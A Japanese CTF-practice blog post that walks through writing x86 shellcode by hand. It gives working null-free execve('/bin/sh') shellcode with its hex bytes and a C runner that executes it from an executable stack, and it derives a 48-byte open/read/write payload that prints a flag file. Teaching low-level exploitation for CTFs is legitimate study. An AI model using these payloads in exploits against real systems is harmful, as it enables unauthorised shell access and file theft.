読者です 読者をやめる 読者になる 読者になる

shellcodeを書いてみる

ももいろテクノロジーさんの2番煎じみたいな感じになりそうですが…

今まで問題を解く際にshell-stormなどから拾って使っていたし, それはスクリプトキディみたいなので自分で書いてみます.

shellcode書き次第, 適宜追加していきます…

  • x86 (execve)
  • x86 (open() -> read() -> write())
  • x86_64 (execve)
  • x86_64 (open() -> read() -> write())

execve(x86)

#include <unistd.h>
int main(){
  char *argv[] = {"/bin/sh", NULL};
  execve(argv[0], argv, NULL);
}
// gcc -m32 -z execstack execve.c

cでexecve(“/bin/sh”, {“/bin/sh”, 0}, 0);する前のレジスタの値をgdbで調べて

それを参考に アセンブラを書いてみる.

$ objdump -M intel -d a.out | sed -n '/<__execve>:/,/^$/p'
0806c270 <__execve>:
 806c270:   53                     push   ebx
 806c271:   8b 54 24 10              mov    edx,DWORD PTR [esp+0x10]
 806c275:   8b 4c 24 0c            mov    ecx,DWORD PTR [esp+0xc]
 806c279:   8b 5c 24 08           mov    ebx,DWORD PTR [esp+0x8]
 806c27d:   b8 0b 00 00 00           mov    eax,0xb
 806c282:   ff 15 f0 a9 0e 08     call   DWORD PTR ds:0x80ea9f0
 806c288:   3d 00 f0 ff ff         cmp    eax,0xfffff000
 806c28d:   77 02                 ja     806c291 <__execve+0x21>
 806c28f:   5b                      pop    ebx
 806c290:   c3                      ret    
 806c291:   c7 c2 e8 ff ff ff       mov    edx,0xffffffe8
 806c297:   f7 d8                   neg    eax
 806c299:   65 89 02                 mov    DWORD PTR gs:[edx],eax
 806c29c:   83 c8 ff               or     eax,0xffffffff
 806c29f:   5b                      pop    ebx
 806c2a0:   c3                      ret    
 806c2a1:   66 90                 xchg   ax,ax
 806c2a3:   66 90                 xchg   ax,ax
 806c2a5:   66 90                 xchg   ax,ax
 806c2a7:   66 90                 xchg   ax,ax
 806c2a9:   66 90                 xchg   ax,ax
 806c2ab:   66 90                 xchg   ax,ax
 806c2ad:   66 90                 xchg   ax,ax
 806c2af:   90                     nop

$ gdb -q ./a.out                                          
Reading symbols from ./a.out...(no debugging symbols found)...done.
gdb-peda$ disas *0x80ea9f0
Dump of assembler code for function _dl_sysinfo_int80:
   0x0806ed70 <+0>:  int    0x80
   0x0806ed72 <+2>:  ret    
End of assembler dump.

int 0x80が呼ばれる前のレジスタの値を整理してみると

EAX: 0xb ('\x0b')
EBX: 0x80bdf48 ("/bin/sh")
ECX: 0xffffd478 --> 0x80bdf48 ("/bin/sh")
EDX: 0x0
  .intel_syntax noprefix
  .globl _start

_start:
  push 0x0068732f
  push 0x6e69622f
  mov ebx, esp
  xor edx, edx
  push edx
  push ebx
  mov ecx, esp
  mov eax, 11
  int 0x80

ライブラリなどをリンクしないで実行します.

$ gcc -m32 -nostdlib execve.s
$ ./a.out

シェルが立ち上がることが確認出来ました. 機械語の部分だけ抽出して, 明示的にシェルコードを実行してみます.

char sc[] = "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80";

int main()
{
      (*(void (*)())sc)();
}
// $ gcc -m32 -z execstack -o sc shellcode.c
// $ ./sc

シェルが立ち上がることが確認出来ました. nullバイトが混ざっていて, strcpy(); などの関数をバイパス出来ないので, null-freeなものにしていきます.

  .intel_syntax noprefix
  .globl _start

_start:
  push 0x68732f2f
  push 0x6e69622f
  mov ebx, esp
  xor edx, edx
  push edx
  push ebx
  mov ecx, esp
  lea eax, [edx+11]
  int 0x80

/bin/shと/bin//shは同等なので, これでnullバイトが取り除けて,

即値で0xb入れていたところも lea eax, [edx+11]でnullバイトが取り除けました.

最初はコレでいけるだろ〜wとか思ってたけどSEGVで落ちた, ので調べてみました. (と言ってもstraceしただけです)

f:id:tsunpoko:20160824095530p:plain

/bin/sh\372〜みたいなファイルは無いよ〜と怒られています.(それはそう)

最後にnullバイトが必要っぽい.

(文字列的?にnullバイトが必要なだけで, 機械語にnullバイトが混ざってはいけないので以下のように書き直しました)

機械語だけ抽出して実行してみます.

  .intel_syntax noprefix
  .globl _start

_start:
  xor edx, edx
  push edx
  push 0x68732f2f
  push 0x6e69622f
  mov ebx, esp
  push edx
  push ebx
  mov ecx, esp
  lea eax, [edx+11]
  int 0x80
char sc[] = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

int main()
{
  (*(void (*)())sc)();
}
// $ gcc -m32 -z execstack -o sc3 shellcode3.c
// $ ./sc3
// $

シェルが立ち上がることが確認出来ました.

f:id:tsunpoko:20160824100207p:plain

怒られていません.

open -> read -> write

#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>

int main(){
  int fd, len;
  char buf[100];
  fd = open("/home/tsun/flag", O_RDONLY);
  len = read(fd, buf, 100);
  write(1, buf, len);
  return 0;
}

c言語の詳しいお作法とか分からないので間違っていたら教えてください. 一応これで出来る.

objdump -M intel -S  ./a.out  | sed -n '/<main>:/,/^$/p'
08048e24 <main>:
 8048e24:   55                     push   ebp
 8048e25:   89 e5                   mov    ebp,esp
 8048e27:   83 e4 f0                 and    esp,0xfffffff0
 8048e2a:   83 c4 80               add    esp,0xffffff80
 8048e2d:   65 a1 14 00 00 00     mov    eax,gs:0x14
 8048e33:   89 44 24 7c              mov    DWORD PTR [esp+0x7c],eax
 8048e37:   31 c0                   xor    eax,eax
 8048e39:   c7 44 24 04 00 00 00  mov    DWORD PTR [esp+0x4],0x0
 8048e40:   00 
 8048e41:   c7 04 24 68 df 0b 08  mov    DWORD PTR [esp],0x80bdf68
 8048e48:   e8 23 3d 02 00         call   806cb70 <__libc_open>
 8048e4d:   89 44 24 10             mov    DWORD PTR [esp+0x10],eax
 8048e51:   c7 44 24 08 64 00 00    mov    DWORD PTR [esp+0x8],0x64
 8048e58:   00 
 8048e59:   8d 44 24 18              lea    eax,[esp+0x18]
 8048e5d:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048e61:   8b 44 24 10              mov    eax,DWORD PTR [esp+0x10]
 8048e65:   89 04 24              mov    DWORD PTR [esp],eax
 8048e68:   e8 73 3d 02 00         call   806cbe0 <__libc_read>
 8048e6d:   89 44 24 14             mov    DWORD PTR [esp+0x14],eax
 8048e71:   8b 44 24 14              mov    eax,DWORD PTR [esp+0x14]
 8048e75:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048e79:   8d 44 24 18              lea    eax,[esp+0x18]
 8048e7d:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048e81:   c7 04 24 01 00 00 00   mov    DWORD PTR [esp],0x1
 8048e88:   e8 c3 3d 02 00           call   806cc50 <__libc_write>
 8048e8d:   b8 00 00 00 00          mov    eax,0x0
 8048e92:   8b 54 24 7c           mov    edx,DWORD PTR [esp+0x7c]
 8048e96:   65 33 15 14 00 00 00   xor    edx,DWORD PTR gs:0x14
 8048e9d:   74 05                 je     8048ea4 <main+0x80>
 8048e9f:   e8 7c 5a 02 00          call   806e920 <__stack_chk_fail>
 8048ea4:   c9                       leave  
 8048ea5:   c3                       ret    
 8048ea6:   66 90                 xchg   ax,ax
 8048ea8:   66 90                 xchg   ax,ax
 8048eaa:   66 90                 xchg   ax,ax
 8048eac:   66 90                 xchg   ax,ax
 8048eae:   66 90                 xchg   ax,ax

-static オプション付きでコンパイルしました. open(), read(), write()それぞれステップイン実行していって sysenter呼び出し時のレジスタの値を調べました.

open(filename, 0);

EAX: 0x5 -> open()のシステムコール番号
EBX: 0x80bdf68 ("/home/tsun/flag") -> ファイル名のアドレス
ECX: 0x0 

raxにfile descripterが返る
read(fd, buf, len);

EAX: 0x3 -> read()のシステムコール番号 
EBX: 0x3 -> ファイルディスクリプタ
ECX: 0xffffd3b8 -> bufferのアドレス
EDX: 0x64 -> 読み込む長さ

raxに読み込んだサイズが返る
write(1, buf, len);

EAX: 0x4 -> write(0のシステムコール番号
EBX: 0x1  -> STDOUT
ECX: 0xffffd3b8 -> bufferのアドレス
EDX: 0xf -> 書き出す長さ

このような流れでshellcodeを組めば良さそう

  .intel_syntax noprefix
  .globl _start

_start:
  xor ecx, ecx
  push ecx
  push 0x67616c66
  push 0x2f2f6e75
  push 0x73742f65
  push 0x6d6f682f
  mov ebx, esp
  push ecx
  push ebx
  lea eax, [ecx + 5]
  int 0x80
  lea ecx, [ebx + 40]
  mov ebx, eax
  xor eax, eax
  lea edx, [eax + 100]
  lea eax, [eax + 3]
  int 0x80
  mov edx, eax
  xor eax, eax
  lea ebx, [eax + 1]
  lea eax, [eax + 4]
  int 0x80
$ echo THIS_IS_A_FLAG > /home/tsun/flag
$ gcc -nostdlib -m32 sc.s
$ ./a.out
THIS_IS_A_FLAG
[6]    21817 segmentation fault (core dumped)  ./a.out

SEGVするけどまあ読めるので良いでしょう. 59byteでした.

  .intel_syntax noprefix
  .globl _start

_start:
  xor ecx, ecx
  push ecx
  push 0x67616c66
  push 0x2f2f6e75
  push 0x73742f65
  push 0x6d6f682f
  mov ebx, esp
  lea eax, [ecx + 5]
  int 0x80
  mov ecx, esp
  mov ebx, eax
  mov dl, 0x64
  mov al, 0x3
  int 0x80
  mov edx, eax
  mov bl, 0x1
  mov al, 0x4
  int 0x80

さっきのはとりあえず脳死でただ書いただけな感じだったし暇だったので48byteまで削った.

execve(x86_64)

reverse-shell(x86)

reverse-shell(x86_64)

execve_alphanumeric(x86)